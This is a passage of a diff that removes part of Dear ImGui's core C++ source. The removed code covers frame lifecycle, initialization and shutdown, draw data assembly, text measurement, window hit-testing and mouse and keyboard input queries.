&& g.TablesLastTimeActive[i] < memory_compact_start_time) - TableGcCompactTransientBuffers(g.Tables.GetByIndex(i)); - if (g.GcCompactAll) - GcCompactTransientMiscBuffers(); - g.GcCompactAll = false; - - // Closing the focused window restore focus to the first active root window in descending z-order - if (g.NavWindow && !g.NavWindow->WasActive) - FocusTopMostWindowUnderOne(NULL, NULL); - - // No window should be open at the beginning of the frame. - // But in order to allow the user to call NewFrame() multiple times without calling Render(), we are doing an explicit clear. - g.CurrentWindowStack.resize(0); - g.BeginPopupStack.resize(0); - g.ItemFlagsStack.resize(0); - g.ItemFlagsStack.push_back(ImGuiItemFlags_Default_); - g.GroupStack.resize(0); - ClosePopupsOverWindow(g.NavWindow, false); - - // [DEBUG] Item picker tool - start with DebugStartItemPicker() - useful to visually select an item and break into its call-stack. - UpdateDebugToolItemPicker(); - - // Create implicit/fallback window - which we will only render it if the user has added something to it. - // We don't use "Debug" to avoid colliding with user trying to create a "Debug" window with custom flags. - // This fallback is particularly important as it avoid ImGui:: calls from crashing. - g.WithinFrameScopeWithImplicitWindow = true; - SetNextWindowSize(ImVec2(400, 400), ImGuiCond_FirstUseEver); - Begin("Debug##Default"); - IM_ASSERT(g.CurrentWindow->IsFallbackWindow == true); - - CallContextHooks(&g, ImGuiContextHookType_NewFramePost); -} - -// [DEBUG] Item picker tool - start with DebugStartItemPicker() - useful to visually select an item and break into its call-stack. -void ImGui::UpdateDebugToolItemPicker() -{ - ImGuiContext& g = *GImGui; - g.DebugItemPickerBreakId = 0; - if (g.DebugItemPickerActive) - { - const ImGuiID hovered_id = g.HoveredIdPreviousFrame; - ImGui::SetMouseCursor(ImGuiMouseCursor_Hand); - if (ImGui::IsKeyPressedMap(ImGuiKey_Escape)) - g.DebugItemPickerActive = false; - if (ImGui::IsMouseClicked(0) && hovered_id) - { - g.DebugItemPickerBreakId = hovered_id; - g.DebugItemPickerActive = false; - } - ImGui::SetNextWindowBgAlpha(0.60f); - ImGui::BeginTooltip(); - ImGui::Text("HoveredId: 0x%08X", hovered_id); - ImGui::Text("Press ESC to abort picking."); - ImGui::TextColored(GetStyleColorVec4(hovered_id ? ImGuiCol_Text : ImGuiCol_TextDisabled), "Click to break in debugger!"); - ImGui::EndTooltip(); - } -} - -void ImGui::Initialize(ImGuiContext* context) -{ - ImGuiContext& g = *context; - IM_ASSERT(!g.Initialized && !g.SettingsLoaded); - - // Add .ini handle for ImGuiWindow type - { - ImGuiSettingsHandler ini_handler; - ini_handler.TypeName = "Window"; - ini_handler.TypeHash = ImHashStr("Window"); - ini_handler.ClearAllFn = WindowSettingsHandler_ClearAll; - ini_handler.ReadOpenFn = WindowSettingsHandler_ReadOpen; - ini_handler.ReadLineFn = WindowSettingsHandler_ReadLine; - ini_handler.ApplyAllFn = WindowSettingsHandler_ApplyAll; - ini_handler.WriteAllFn = WindowSettingsHandler_WriteAll; - g.SettingsHandlers.push_back(ini_handler); - } - -#ifdef IMGUI_HAS_TABLE - // Add .ini handle for ImGuiTable type - TableSettingsInstallHandler(context); -#endif // #ifdef IMGUI_HAS_TABLE - - // Create default viewport - ImGuiViewportP* viewport = IM_NEW(ImGuiViewportP)(); - g.Viewports.push_back(viewport); - -#ifdef IMGUI_HAS_DOCK -#endif // #ifdef IMGUI_HAS_DOCK - - g.Initialized = true; -} - -// This function is merely here to free heap allocations. -void ImGui::Shutdown(ImGuiContext* context) -{ - // The fonts atlas can be used prior to calling NewFrame(), so we clear it even if g.Initialized is FALSE (which would happen if we never called NewFrame) - ImGuiContext& g = *context; - if (g.IO.Fonts && g.FontAtlasOwnedByContext) - { - g.IO.Fonts->Locked = false; - IM_DELETE(g.IO.Fonts); - } - g.IO.Fonts = NULL; - - // Cleanup of other data are conditional on actually having initialized Dear ImGui. - if (!g.Initialized) - return; - - // Save settings (unless we haven't attempted to load them: CreateContext/DestroyContext without a call to NewFrame shouldn't save an empty file) - if (g.SettingsLoaded && g.IO.IniFilename != NULL) - { - ImGuiContext* backup_context = GImGui; - SetCurrentContext(&g); - SaveIniSettingsToDisk(g.IO.IniFilename); - SetCurrentContext(backup_context); - } - - CallContextHooks(&g, ImGuiContextHookType_Shutdown); - - // Clear everything else - for (int i = 0; i < g.Windows.Size; i++) - IM_DELETE(g.Windows[i]); - g.Windows.clear(); - g.WindowsFocusOrder.clear(); - g.WindowsTempSortBuffer.clear(); - g.CurrentWindow = NULL; - g.CurrentWindowStack.clear(); - g.WindowsById.Clear(); - g.NavWindow = NULL; - g.HoveredWindow = g.HoveredWindowUnderMovingWindow = NULL; - g.ActiveIdWindow = g.ActiveIdPreviousFrameWindow = NULL; - g.MovingWindow = NULL; - g.ColorStack.clear(); - g.StyleVarStack.clear(); - g.FontStack.clear(); - g.OpenPopupStack.clear(); - g.BeginPopupStack.clear(); - - for (int i = 0; i < g.Viewports.Size; i++) - IM_DELETE(g.Viewports[i]); - g.Viewports.clear(); - - g.TabBars.Clear(); - g.CurrentTabBarStack.clear(); - g.ShrinkWidthBuffer.clear(); - - g.Tables.Clear(); - g.CurrentTableStack.clear(); - g.DrawChannelsTempMergeBuffer.clear(); - - g.ClipboardHandlerData.clear(); - g.MenusIdSubmittedThisFrame.clear(); - g.InputTextState.ClearFreeMemory(); - - g.SettingsWindows.clear(); - g.SettingsHandlers.clear(); - - if (g.LogFile) - { -#ifndef IMGUI_DISABLE_TTY_FUNCTIONS - if (g.LogFile != stdout) -#endif - ImFileClose(g.LogFile); - g.LogFile = NULL; - } - g.LogBuffer.clear(); - - g.Initialized = false; -} - -// FIXME: Add a more explicit sort order in the window structure. -static int IMGUI_CDECL ChildWindowComparer(const void* lhs, const void* rhs) -{ - const ImGuiWindow* const a = *(const ImGuiWindow* const *)lhs; - const ImGuiWindow* const b = *(const ImGuiWindow* const *)rhs; - if (int d = (a->Flags & ImGuiWindowFlags_Popup) - (b->Flags & ImGuiWindowFlags_Popup)) - return d; - if (int d = (a->Flags & ImGuiWindowFlags_Tooltip) - (b->Flags & ImGuiWindowFlags_Tooltip)) - return d; - return (a->BeginOrderWithinParent - b->BeginOrderWithinParent); -} - -static void AddWindowToSortBuffer(ImVector* out_sorted_windows, ImGuiWindow* window) -{ - out_sorted_windows->push_back(window); - if (window->Active) - { - int count = window->DC.ChildWindows.Size; - if (count > 1) - ImQsort(window->DC.ChildWindows.Data, (size_t)count, sizeof(ImGuiWindow*), ChildWindowComparer); - for (int i = 0; i < count; i++) - { - ImGuiWindow* child = window->DC.ChildWindows[i]; - if (child->Active) - AddWindowToSortBuffer(out_sorted_windows, child); - } - } -} - -static void AddDrawListToDrawData(ImVector* out_list, ImDrawList* draw_list) -{ - // Remove trailing command if unused. - // Technically we could return directly instead of popping, but this make things looks neat in Metrics/Debugger window as well. - draw_list->_PopUnusedDrawCmd(); - if (draw_list->CmdBuffer.Size == 0) - return; - - // Draw list sanity check. Detect mismatch between PrimReserve() calls and incrementing _VtxCurrentIdx, _VtxWritePtr etc. - // May trigger for you if you are using PrimXXX functions incorrectly. - IM_ASSERT(draw_list->VtxBuffer.Size == 0 || draw_list->_VtxWritePtr == draw_list->VtxBuffer.Data + draw_list->VtxBuffer.Size); - IM_ASSERT(draw_list->IdxBuffer.Size == 0 || draw_list->_IdxWritePtr == draw_list->IdxBuffer.Data + draw_list->IdxBuffer.Size); - if (!(draw_list->Flags & ImDrawListFlags_AllowVtxOffset)) - IM_ASSERT((int)draw_list->_VtxCurrentIdx == draw_list->VtxBuffer.Size); - - // Check that draw_list doesn't use more vertices than indexable (default ImDrawIdx = unsigned short = 2 bytes = 64K vertices per ImDrawList = per window) - // If this assert triggers because you are drawing lots of stuff manually: - // - First, make sure you are coarse clipping yourself and not trying to draw many things outside visible bounds. - // Be mindful that the ImDrawList API doesn't filter vertices. Use the Metrics/Debugger window to inspect draw list contents. - // - If you want large meshes with more than 64K vertices, you can either: - // (A) Handle the ImDrawCmd::VtxOffset value in your renderer backend, and set 'io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset'. - // Most example backends already support this from 1.71. Pre-1.71 backends won't. - // Some graphics API such as GL ES 1/2 don't have a way to offset the starting vertex so it is not supported for them. - // (B) Or handle 32-bit indices in your renderer backend, and uncomment '#define ImDrawIdx unsigned int' line in imconfig.h. - // Most example backends already support this. For example, the OpenGL example code detect index size at compile-time: - // glDrawElements(GL_TRIANGLES, (GLsizei)pcmd->ElemCount, sizeof(ImDrawIdx) == 2 ? GL_UNSIGNED_SHORT : GL_UNSIGNED_INT, idx_buffer_offset); - // Your own engine or render API may use different parameters or function calls to specify index sizes. - // 2 and 4 bytes indices are generally supported by most graphics API. - // - If for some reason neither of those solutions works for you, a workaround is to call BeginChild()/EndChild() before reaching - // the 64K limit to split your draw commands in multiple draw lists. - if (sizeof(ImDrawIdx) == 2) - IM_ASSERT(draw_list->_VtxCurrentIdx < (1 << 16) && "Too many vertices in ImDrawList using 16-bit indices. Read comment above"); - - out_list->push_back(draw_list); -} - -static void AddWindowToDrawData(ImGuiWindow* window, int layer) -{ - ImGuiContext& g = *GImGui; - ImGuiViewportP* viewport = g.Viewports[0]; - g.IO.MetricsRenderWindows++; - AddDrawListToDrawData(&viewport->DrawDataBuilder.Layers[layer], window->DrawList); - for (int i = 0; i < window->DC.ChildWindows.Size; i++) - { - ImGuiWindow* child = window->DC.ChildWindows[i]; - if (IsWindowActiveAndVisible(child)) // Clipped children may have been marked not active - AddWindowToDrawData(child, layer); - } -} - -// Layer is locked for the root window, however child windows may use a different viewport (e.g. extruding menu) -static void AddRootWindowToDrawData(ImGuiWindow* window) -{ - int layer = (window->Flags & ImGuiWindowFlags_Tooltip) ? 1 : 0; - AddWindowToDrawData(window, layer); -} - -void ImDrawDataBuilder::FlattenIntoSingleLayer() -{ - int n = Layers[0].Size; - int size = n; - for (int i = 1; i < IM_ARRAYSIZE(Layers); i++) - size += Layers[i].Size; - Layers[0].resize(size); - for (int layer_n = 1; layer_n < IM_ARRAYSIZE(Layers); layer_n++) - { - ImVector& layer = Layers[layer_n]; - if (layer.empty()) - continue; - memcpy(&Layers[0][n], &layer[0], layer.Size * sizeof(ImDrawList*)); - n += layer.Size; - layer.resize(0); - } -} - -static void SetupViewportDrawData(ImGuiViewportP* viewport, ImVector* draw_lists) -{ - ImGuiIO& io = ImGui::GetIO(); - ImDrawData* draw_data = &viewport->DrawDataP; - draw_data->Valid = true; - draw_data->CmdLists = (draw_lists->Size > 0) ? draw_lists->Data : NULL; - draw_data->CmdListsCount = draw_lists->Size; - draw_data->TotalVtxCount = draw_data->TotalIdxCount = 0; - draw_data->DisplayPos = viewport->Pos; - draw_data->DisplaySize = viewport->Size; - draw_data->FramebufferScale = io.DisplayFramebufferScale; - for (int n = 0; n < draw_lists->Size; n++) - { - draw_data->TotalVtxCount += draw_lists->Data[n]->VtxBuffer.Size; - draw_data->TotalIdxCount += draw_lists->Data[n]->IdxBuffer.Size; - } -} - -// Push a clipping rectangle for both ImGui logic (hit-testing etc.) and low-level ImDrawList rendering. -// - When using this function it is sane to ensure that float are perfectly rounded to integer values, -// so that e.g. (int)(max.x-min.x) in user's render produce correct result. -// - If the code here changes, may need to update code of functions like NextColumn() and PushColumnClipRect(): -// some frequently called functions which to modify both channels and clipping simultaneously tend to use the -// more specialized SetWindowClipRectBeforeSetChannel() to avoid extraneous updates of underlying ImDrawCmds. -void ImGui::PushClipRect(const ImVec2& clip_rect_min, const ImVec2& clip_rect_max, bool intersect_with_current_clip_rect) -{ - ImGuiWindow* window = GetCurrentWindow(); - window->DrawList->PushClipRect(clip_rect_min, clip_rect_max, intersect_with_current_clip_rect); - window->ClipRect = window->DrawList->_ClipRectStack.back(); -} - -void ImGui::PopClipRect() -{ - ImGuiWindow* window = GetCurrentWindow(); - window->DrawList->PopClipRect(); - window->ClipRect = window->DrawList->_ClipRectStack.back(); -} - -// This is normally called by Render(). You may want to call it directly if you want to avoid calling Render() but the gain will be very minimal. -void ImGui::EndFrame() -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.Initialized); - - // Don't process EndFrame() multiple times. - if (g.FrameCountEnded == g.FrameCount) - return; - IM_ASSERT(g.WithinFrameScope && "Forgot to call ImGui::NewFrame()?"); - - CallContextHooks(&g, ImGuiContextHookType_EndFramePre); - - ErrorCheckEndFrameSanityChecks(); - - // Notify OS when our Input Method Editor cursor has moved (e.g. CJK inputs using Microsoft IME) - if (g.IO.ImeSetInputScreenPosFn && (g.PlatformImeLastPos.x == FLT_MAX || ImLengthSqr(g.PlatformImeLastPos - g.PlatformImePos) > 0.0001f)) - { - g.IO.ImeSetInputScreenPosFn((int)g.PlatformImePos.x, (int)g.PlatformImePos.y); - g.PlatformImeLastPos = g.PlatformImePos; - } - - // Hide implicit/fallback "Debug" window if it hasn't been used - g.WithinFrameScopeWithImplicitWindow = false; - if (g.CurrentWindow && !g.CurrentWindow->WriteAccessed) - g.CurrentWindow->Active = false; - End(); - - // Update navigation: CTRL+Tab, wrap-around requests - NavEndFrame(); - - // Drag and Drop: Elapse payload (if delivered, or if source stops being submitted) - if (g.DragDropActive) - { - bool is_delivered = g.DragDropPayload.Delivery; - bool is_elapsed = (g.DragDropPayload.DataFrameCount + 1 < g.FrameCount) && ((g.DragDropSourceFlags & ImGuiDragDropFlags_SourceAutoExpirePayload) || !IsMouseDown(g.DragDropMouseButton)); - if (is_delivered || is_elapsed) - ClearDragDrop(); - } - - // Drag and Drop: Fallback for source tooltip. This is not ideal but better than nothing. - if (g.DragDropActive && g.DragDropSourceFrameCount < g.FrameCount && !(g.DragDropSourceFlags & ImGuiDragDropFlags_SourceNoPreviewTooltip)) - { - g.DragDropWithinSource = true; - SetTooltip("..."); - g.DragDropWithinSource = false; - } - - // End frame - g.WithinFrameScope = false; - g.FrameCountEnded = g.FrameCount; - - // Initiate moving window + handle left-click and right-click focus - UpdateMouseMovingWindowEndFrame(); - - // Sort the window list so that all child windows are after their parent - // We cannot do that on FocusWindow() because children may not exist yet - g.WindowsTempSortBuffer.resize(0); - g.WindowsTempSortBuffer.reserve(g.Windows.Size); - for (int i = 0; i != g.Windows.Size; i++) - { - ImGuiWindow* window = g.Windows[i]; - if (window->Active && (window->Flags & ImGuiWindowFlags_ChildWindow)) // if a child is active its parent will add it - continue; - AddWindowToSortBuffer(&g.WindowsTempSortBuffer, window); - } - - // This usually assert if there is a mismatch between the ImGuiWindowFlags_ChildWindow / ParentWindow values and DC.ChildWindows[] in parents, aka we've done something wrong. - IM_ASSERT(g.Windows.Size == g.WindowsTempSortBuffer.Size); - g.Windows.swap(g.WindowsTempSortBuffer); - g.IO.MetricsActiveWindows = g.WindowsActiveCount; - - // Unlock font atlas - g.IO.Fonts->Locked = false; - - // Clear Input data for next frame - g.IO.MouseWheel = g.IO.MouseWheelH = 0.0f; - g.IO.InputQueueCharacters.resize(0); - memset(g.IO.NavInputs, 0, sizeof(g.IO.NavInputs)); - - CallContextHooks(&g, ImGuiContextHookType_EndFramePost); -} - -void ImGui::Render() -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.Initialized); - - if (g.FrameCountEnded != g.FrameCount) - EndFrame(); - g.FrameCountRendered = g.FrameCount; - g.IO.MetricsRenderWindows = 0; - - CallContextHooks(&g, ImGuiContextHookType_RenderPre); - - // Add background ImDrawList (for each active viewport) - for (int n = 0; n != g.Viewports.Size; n++) - { - ImGuiViewportP* viewport = g.Viewports[n]; - viewport->DrawDataBuilder.Clear(); - if (viewport->DrawLists[0] != NULL) - AddDrawListToDrawData(&viewport->DrawDataBuilder.Layers[0], GetBackgroundDrawList(viewport)); - } - - // Add ImDrawList to render - ImGuiWindow* windows_to_render_top_most[2]; - windows_to_render_top_most[0] = (g.NavWindowingTarget && !(g.NavWindowingTarget->Flags & ImGuiWindowFlags_NoBringToFrontOnFocus)) ? g.NavWindowingTarget->RootWindow : NULL; - windows_to_render_top_most[1] = (g.NavWindowingTarget ? g.NavWindowingListWindow : NULL); - for (int n = 0; n != g.Windows.Size; n++) - { - ImGuiWindow* window = g.Windows[n]; - if (IsWindowActiveAndVisible(window) && (window->Flags & ImGuiWindowFlags_ChildWindow) == 0 && window != windows_to_render_top_most[0] && window != windows_to_render_top_most[1]) - AddRootWindowToDrawData(window); - } - for (int n = 0; n < IM_ARRAYSIZE(windows_to_render_top_most); n++) - if (windows_to_render_top_most[n] && IsWindowActiveAndVisible(windows_to_render_top_most[n])) // NavWindowingTarget is always temporarily displayed as the top-most window - AddRootWindowToDrawData(windows_to_render_top_most[n]); - - // Setup ImDrawData structures for end-user - g.IO.MetricsRenderVertices = g.IO.MetricsRenderIndices = 0; - for (int n = 0; n < g.Viewports.Size; n++) - { - ImGuiViewportP* viewport = g.Viewports[n]; - viewport->DrawDataBuilder.FlattenIntoSingleLayer(); - - // Draw software mouse cursor if requested by io.MouseDrawCursor flag - if (g.IO.MouseDrawCursor) - RenderMouseCursor(GetForegroundDrawList(viewport), g.IO.MousePos, g.Style.MouseCursorScale, g.MouseCursor, IM_COL32_WHITE, IM_COL32_BLACK, IM_COL32(0, 0, 0, 48)); - - // Add foreground ImDrawList (for each active viewport) - if (viewport->DrawLists[1] != NULL) - AddDrawListToDrawData(&viewport->DrawDataBuilder.Layers[0], GetForegroundDrawList(viewport)); - - SetupViewportDrawData(viewport, &viewport->DrawDataBuilder.Layers[0]); - ImDrawData* draw_data = &viewport->DrawDataP; - g.IO.MetricsRenderVertices += draw_data->TotalVtxCount; - g.IO.MetricsRenderIndices += draw_data->TotalIdxCount; - } - - CallContextHooks(&g, ImGuiContextHookType_RenderPost); -} - -// Calculate text size. Text can be multi-line. Optionally ignore text after a ## marker. -// CalcTextSize("") should return ImVec2(0.0f, g.FontSize) -ImVec2 ImGui::CalcTextSize(const char* text, const char* text_end, bool hide_text_after_double_hash, float wrap_width) -{ - ImGuiContext& g = *GImGui; - - const char* text_display_end; - if (hide_text_after_double_hash) - text_display_end = FindRenderedTextEnd(text, text_end); // Hide anything after a '##' string - else - text_display_end = text_end; - - ImFont* font = g.Font; - const float font_size = g.FontSize; - if (text == text_display_end) - return ImVec2(0.0f, font_size); - ImVec2 text_size = font->CalcTextSizeA(font_size, FLT_MAX, wrap_width, text, text_display_end, NULL); - - // Round - // FIXME: This has been here since Dec 2015 (7b0bf230) but down the line we want this out. - // FIXME: Investigate using ceilf or e.g. - // - https://git.musl-libc.org/cgit/musl/tree/src/math/ceilf.c - // - https://embarkstudios.github.io/rust-gpu/api/src/libm/math/ceilf.rs.html - text_size.x = IM_FLOOR(text_size.x + 0.99999f); - - return text_size; -} - -// Find window given position, search front-to-back -// FIXME: Note that we have an inconsequential lag here: OuterRectClipped is updated in Begin(), so windows moved programmatically -// with SetWindowPos() and not SetNextWindowPos() will have that rectangle lagging by a frame at the time FindHoveredWindow() is -// called, aka before the next Begin(). Moving window isn't affected. -static void FindHoveredWindow() -{ - ImGuiContext& g = *GImGui; - - ImGuiWindow* hovered_window = NULL; - ImGuiWindow* hovered_window_ignoring_moving_window = NULL; - if (g.MovingWindow && !(g.MovingWindow->Flags & ImGuiWindowFlags_NoMouseInputs)) - hovered_window = g.MovingWindow; - - ImVec2 padding_regular = g.Style.TouchExtraPadding; - ImVec2 padding_for_resize_from_edges = g.IO.ConfigWindowsResizeFromEdges ? ImMax(g.Style.TouchExtraPadding, ImVec2(WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS, WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS)) : padding_regular; - for (int i = g.Windows.Size - 1; i >= 0; i--) - { - ImGuiWindow* window = g.Windows[i]; - if (!window->Active || window->Hidden) - continue; - if (window->Flags & ImGuiWindowFlags_NoMouseInputs) - continue; - - // Using the clipped AABB, a child window will typically be clipped by its parent (not always) - ImRect bb(window->OuterRectClipped); - if (window->Flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_AlwaysAutoResize)) - bb.Expand(padding_regular); - else - bb.Expand(padding_for_resize_from_edges); - if (!bb.Contains(g.IO.MousePos)) - continue; - - // Support for one rectangular hole in any given window - // FIXME: Consider generalizing hit-testing override (with more generic data, callback, etc.) (#1512) - if (window->HitTestHoleSize.x != 0) - { - ImVec2 hole_pos(window->Pos.x + (float)window->HitTestHoleOffset.x, window->Pos.y + (float)window->HitTestHoleOffset.y); - ImVec2 hole_size((float)window->HitTestHoleSize.x, (float)window->HitTestHoleSize.y); - if (ImRect(hole_pos, hole_pos + hole_size).Contains(g.IO.MousePos)) - continue; - } - - if (hovered_window == NULL) - hovered_window = window; - if (hovered_window_ignoring_moving_window == NULL && (!g.MovingWindow || window->RootWindow != g.MovingWindow->RootWindow)) - hovered_window_ignoring_moving_window = window; - if (hovered_window && hovered_window_ignoring_moving_window) - break; - } - - g.HoveredWindow = hovered_window; - g.HoveredWindowUnderMovingWindow = hovered_window_ignoring_moving_window; -} - -// Test if mouse cursor is hovering given rectangle -// NB- Rectangle is clipped by our current clip setting -// NB- Expand the rectangle to be generous on imprecise inputs systems (g.Style.TouchExtraPadding) -bool ImGui::IsMouseHoveringRect(const ImVec2& r_min, const ImVec2& r_max, bool clip) -{ - ImGuiContext& g = *GImGui; - - // Clip - ImRect rect_clipped(r_min, r_max); - if (clip) - rect_clipped.ClipWith(g.CurrentWindow->ClipRect); - - // Expand for touch input - const ImRect rect_for_touch(rect_clipped.Min - g.Style.TouchExtraPadding, rect_clipped.Max + g.Style.TouchExtraPadding); - if (!rect_for_touch.Contains(g.IO.MousePos)) - return false; - return true; -} - -int ImGui::GetKeyIndex(ImGuiKey imgui_key) -{ - IM_ASSERT(imgui_key >= 0 && imgui_key < ImGuiKey_COUNT); - ImGuiContext& g = *GImGui; - return g.IO.KeyMap[imgui_key]; -} - -// Note that dear imgui doesn't know the semantic of each entry of io.KeysDown[]! -// Use your own indices/enums according to how your backend/engine stored them into io.KeysDown[]! -bool ImGui::IsKeyDown(int user_key_index) -{ - if (user_key_index < 0) - return false; - ImGuiContext& g = *GImGui; - IM_ASSERT(user_key_index >= 0 && user_key_index < IM_ARRAYSIZE(g.IO.KeysDown)); - return g.IO.KeysDown[user_key_index]; -} - -// t0 = previous time (e.g.: g.Time - g.IO.DeltaTime) -// t1 = current time (e.g.: g.Time) -// An event is triggered at: -// t = 0.0f t = repeat_delay, t = repeat_delay + repeat_rate*N -int ImGui::CalcTypematicRepeatAmount(float t0, float t1, float repeat_delay, float repeat_rate) -{ - if (t1 == 0.0f) - return 1; - if (t0 >= t1) - return 0; - if (repeat_rate <= 0.0f) - return (t0 < repeat_delay) && (t1 >= repeat_delay); - const int count_t0 = (t0 < repeat_delay) ? -1 : (int)((t0 - repeat_delay) / repeat_rate); - const int count_t1 = (t1 < repeat_delay) ? -1 : (int)((t1 - repeat_delay) / repeat_rate); - const int count = count_t1 - count_t0; - return count; -} - -int ImGui::GetKeyPressedAmount(int key_index, float repeat_delay, float repeat_rate) -{ - ImGuiContext& g = *GImGui; - if (key_index < 0) - return 0; - IM_ASSERT(key_index >= 0 && key_index < IM_ARRAYSIZE(g.IO.KeysDown)); - const float t = g.IO.KeysDownDuration[key_index]; - return CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, repeat_delay, repeat_rate); -} - -bool ImGui::IsKeyPressed(int user_key_index, bool repeat) -{ - ImGuiContext& g = *GImGui; - if (user_key_index < 0) - return false; - IM_ASSERT(user_key_index >= 0 && user_key_index < IM_ARRAYSIZE(g.IO.KeysDown)); - const float t = g.IO.KeysDownDuration[user_key_index]; - if (t == 0.0f) - return true; - if (repeat && t > g.IO.KeyRepeatDelay) - return GetKeyPressedAmount(user_key_index, g.IO.KeyRepeatDelay, g.IO.KeyRepeatRate) > 0; - return false; -} - -bool ImGui::IsKeyReleased(int user_key_index) -{ - ImGuiContext& g = *GImGui; - if (user_key_index < 0) return false; - IM_ASSERT(user_key_index >= 0 && user_key_index < IM_ARRAYSIZE(g.IO.KeysDown)); - return g.IO.KeysDownDurationPrev[user_key_index] >= 0.0f && !g.IO.KeysDown[user_key_index]; -} - -bool ImGui::IsMouseDown(ImGuiMouseButton button) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); - return g.IO.MouseDown[button]; -} - -bool ImGui::IsMouseClicked(ImGuiMouseButton button, bool repeat) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); - const float t = g.IO.MouseDownDuration[button]; - if (t == 0.0f) - return true; - - if (repeat && t > g.IO.KeyRepeatDelay) - { - // FIXME: 2019/05/03: Our old repeat code was wrong here and led to doubling the repeat rate, which made it an ok rate for repeat on mouse hold. - int amount = CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, g.IO.KeyRepeatDelay, g.IO.KeyRepeatRate * 0.50f); - if (amount > 0) - return true; - } - return false; -} - -bool ImGui::IsMouseReleased(ImGuiMouseButton button) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); - return g.IO.MouseReleased[button]; -} - -bool ImGui::IsMouseDoubleClicked(ImGuiMouseButton button) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); - return g.IO.MouseDoubleClicked[button]; -} - -// Return if a mouse click/drag went past the given threshold. Valid to call during the MouseReleased frame. -// [Internal] This doesn't test if the button is pressed -bool ImGui::IsMouseDragPastThreshold(ImGuiMouseButton button, float lock_threshold) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); - if (lock_threshold < 0.0f) - lock_threshold = g.IO.MouseDragThreshold; - return g.IO.MouseDragMaxDistanceSqr[button] >= lock_threshold * lock_threshold; -} - -bool ImGui::IsMouseDragging(ImGuiMouseButton button, float lock_threshold) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); - if (!g.IO.MouseDown[button]) - return false; - return IsMouseDragPastThreshold(button, lock_threshold); -} - -ImVec2 ImGui::GetMousePos() -{ - ImGuiContext& g = *GImGui; - return g.IO.MousePos; -} - -// NB: prefer to call right after BeginPopup(). At the time Selectable/MenuItem is activated, the popup is already closed! -ImVec2 ImGui::GetMousePosOnOpeningCurrentPopup() -{ - ImGuiContext& g = *GImGui; - if (g.BeginPopupStack.Size > 0) - return g.OpenPopupStack[g.BeginPopupStack.Size - 1].OpenMousePos; - return g.IO.MousePos; -} - -// We typically use ImVec2(-FLT_MAX,-FLT_MAX) to denote an invalid mouse position. -bool ImGui::IsMousePosValid(const ImVec2* mouse_pos) -{ - // The assert is only to silence a false-positive in XCode Static Analysis. - // Because GImGui is not dereferenced in every code path, the static analyzer assume that it may be NULL (which it doesn't for other functions). - IM_ASSERT(GImGui != NULL); - const float MOUSE_INVALID = -256000.0f; - ImVec2 p = mouse_pos ? *mouse_pos : GImGui->IO.MousePos; - return p.x >= MOUSE_INVALID && p.y >= MOUSE_INVALID; -} - -bool ImGui::IsAnyMouseDown() -{ - ImGuiContext& g = *GImGui; - for (int n = 0; n < IM_ARRAYSIZE(g.IO.MouseDown); n++) - if (g.IO.MouseDown[n]) - return true; - return false; -} - -// Return the delta from the initial clicking position while the mouse button is clicked or was just released. -// This is locked and return 0.0f until the mouse moves past a distance threshold at least once. -// NB: This is only valid if IsMousePosValid(). backends in theory should always keep mouse position valid when dragging even outside the client window. -ImVec2 ImGui::GetMouseDragDelta(ImGuiMouseButton button, float lock_threshold) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); - if (lock_threshold < 0.0f) - lock_threshold = g.IO.MouseDragThreshold; - if (g.IO.MouseDown[button] || g.IO.MouseReleased[button]) - if (g.IO.MouseDragMaxDistanceSqr[button] >= lock_threshold * lock_threshold) - if (IsMousePosValid(&g.IO.MousePos) && IsMousePosValid(&g.IO.MouseClickedPos[button])) - return g.IO.MousePos - g.IO.MouseClickedPos[button]; - return ImVec2(0.0f, 0.0f); -} - -void ImGui::ResetMouseDragDelta(ImGuiMouseButton button) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); - // NB: We don't need to reset g.IO.MouseDragMaxDistanceSqr - g.IO.MouseClickedPos[button] = g.IO.MousePos; -} - -ImGuiMouseCursor ImGui::GetMouseCursor() -{ - return GImGui->MouseCursor; -} - -void ImGui::SetMouseCursor(ImGuiMouseCursor cursor_type) -{ - GImGui->MouseCursor = cursor_type; -} - -void ImGui::CaptureKeyboardFromApp(bool capture) -{ - GImGui->WantCaptureKeyboardNextFrame = capture ? 1 : 0; -} - -void ImGui::CaptureMouseFromApp(bool capture) -{ - GImGui->WantCaptureMouseNextFrame = capture ? 1 : 0; -} - -bool ImGui::IsItemActive() -{ - ImGuiContext& g = *GImGui; - if (g.ActiveId) - { - ImGuiWindow* window = g.CurrentWindow; - return g.ActiveId == window->DC.LastItemId; - } - return false; -} - -bool ImGui::IsItemActivated() -{ - ImGuiContext& g = *GImGui; - if (g.ActiveId) - { - ImGuiWindow* window = g.CurrentWindow; - if (g.ActiveId == window->DC.LastItemId && g.ActiveIdPreviousFrame != window->DC.LastItemId) - return true; - } - return false; -} - -bool ImGui::IsItemDeactivated() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HasDeactivated) - return (window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_Deactivated) != 0; - return (g.ActiveIdPreviousFrame == window->DC.LastItemId && 